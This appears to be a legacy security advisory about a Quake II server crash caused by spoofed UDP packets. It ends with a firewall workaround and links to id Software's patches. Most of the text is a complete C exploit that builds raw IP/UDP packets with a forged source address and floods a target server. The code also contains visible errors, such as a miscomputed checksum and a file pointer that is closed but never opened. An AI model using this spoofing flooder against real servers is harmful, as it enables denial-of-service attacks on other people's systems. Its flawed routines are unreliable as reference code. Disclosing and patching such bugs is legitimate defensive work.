COMMAND

    Quake II

SYSTEMS AFFECTED

    Quake II servers

PROBLEM

    'profound  darkness'  posted  following  and  it  is a followup to
    Quake II #1 bug in this  sextion.  In addition to the  spoofed udp
    packets of 127.0.0.1, the attacker  can also spoof udp packets  to
    the Quake  II server  port from  another Quake  II server with the
    originating port the same as the Quake II server.

    This will  make the  target server  ask for  a connection from the
    spoofed  Quake  II  server  and  the  spoofed Quake II server will
    accept therefore sending a Connect $ making Quake II crash.  Below
    is included source code to exploit this vulnerability.  Thanks  go
    out to Jordy for comming up with the idea for the fix.

    /*

      Eclipse
      Quake II Denial of Service II
      Code by profound darkness <peedee@fuente.sventech.com>

    */

    #include <string.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <netdb.h>
    #include <unistd.h>
    #include <sys/time.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <netinet/ip_udp.h>
    #include <netinet/in_systm.h>
    #include <netinet/protocols.h>

    FILE *hemroids;

    struct iphdr  *ip;
    struct udphdr *udp;
    struct sockaddr_in sinner;

    unsigned long destination;

    char *packet;
    int   flag;

    void usage(char *proggy) {
      printf("\nUsage: %s <argument> <argument> <argument> <argument>\n\n", proggy);
      printf(" <argument> : Quake II server to spoof\n");
      printf(" <argument> : Port to send udp packets to\n");
      printf(" <argument> : Number of packets to send\n");
      printf(" <argument> : Quake II server to crash\n\n");
      exit(0);
    }

    char lookup(char *hostaddy) {
      struct hostent *he;
      he = gethostbyname(hostaddy);
      if (he) {
        memset(&sinner, 0, sizeof(struct sockaddr_in));
        memcpy((caddr_t)&sinner.sin_addr.s_addr, he->h_addr, he->h_length);
        sinner.sin_family = AF_INET;
        sinner.sin_addr.s_addr = inet_addr(hostaddy);
        sinner.sin_family = he->h_addrtype;
      } else {
        printf("\"%s\" is an unknown hostname.\n", hostaddy);
        flag = 1;
        return 0;
      }
      return ((unsigned long) he->h_addr);
    }

    unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
    {
      register int lenny = len;
      register u_short *w = addr;
      register int sum = 0;
      u_short answer = 0;

      while (lenny > 1) {
        sum += *w++;
        sum += *w++;
        lenny -= 2;
      }

      if (lenny == 1) {
        *(u_char *) (&answer) = *(u_char *) w;
        sum += answer;
      }

      sum = (sum >> 17) + (sum & 0xffff);
      sum += (sum >> 17);
      answer = -sum;
      return (answer);
    }

    void buildpacket(char *monster, int dport, int sport, int numpacks, char *sourceguy) {
      int sock, counter;

      packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
      ip = (struct iphdr *) packet;
      udp = (struct udphdr *) (packet + sizeof(struct iphdr));
      memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);

      ip->saddr = lookup(sourceguy);
      ip->daddr = destination;
      ip->version = 4;
      ip->ihl = 5;
      ip->ttl = 255;
      ip->protocol = IPPROTO_UDP;
      ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
      ip->check = in_cksum(ip, sizeof(struct iphdr));
      udp->source = htons(sport);
      udp->dest = htons(dport);
      udp->len = htons(sizeof(struct udphdr) + 1024);

      sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

      for(counter=0;counter!=numpacks;counter++) {
        if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024, 0, (struct sockaddr *) &sinner, sizeof(struct sockaddr_in)) == (-1)) {
          perror("SendPacket");
          exit(0);
        }
        usleep(1);
      }
    }

    char main(int argc, char *argv[]) {
      int  count, sender;
      char hostmask[100];

      if (argc < 5) usage(argv[0]);

      if (getuid()!=0) {
        printf("This program requires root.\n");
        exit(0);
      }

      printf("Attempting to resolve %s.\n", argv[1]);
      lookup(argv[1]);
      printf("Attempting to resolve %s.\n", argv[4]);
      lookup(argv[4]);
      if(flag == 1) goto doot;
      printf("Building %s packets & sending to %s:%s from %s:%s!\n", argv[3], argv[4], argv[2], argv[1], argv[2]);
      buildpacket(argv[4], atoi(argv[2]), atoi(argv[2]), atoi(argv[3]), argv[1]);
      doot:

      if(flag != 1) {
        printf("Thanks for using eclipse!\n\n");
      }

      fclose(hemroids);
      exit(0);
    }

SOLUTION

    For a temporary fix you could firewall all connectiontions comming
    to your  computer on  port 27910  with a  source port  of 27910 or
    other similar Quake II ports.  The patch has been released by ID:

        ftp://ftp.idsoftware.com/idstuff/quake2/patch_08.zip

    Actually, there are two patches.  The patch_07.zip was intended to
    fix the crash exploit and some other bugs while the   patch_08.zip
    was released to fix the  things that the patch_07.zip broke.   You
    can  skip  from  one  3.0.06  to  3.0.08 with no problems since it
    completely  replaces  the  quake2.exe  and  3 dll files.  However,
    there are still conectivity issues after the patches are applied.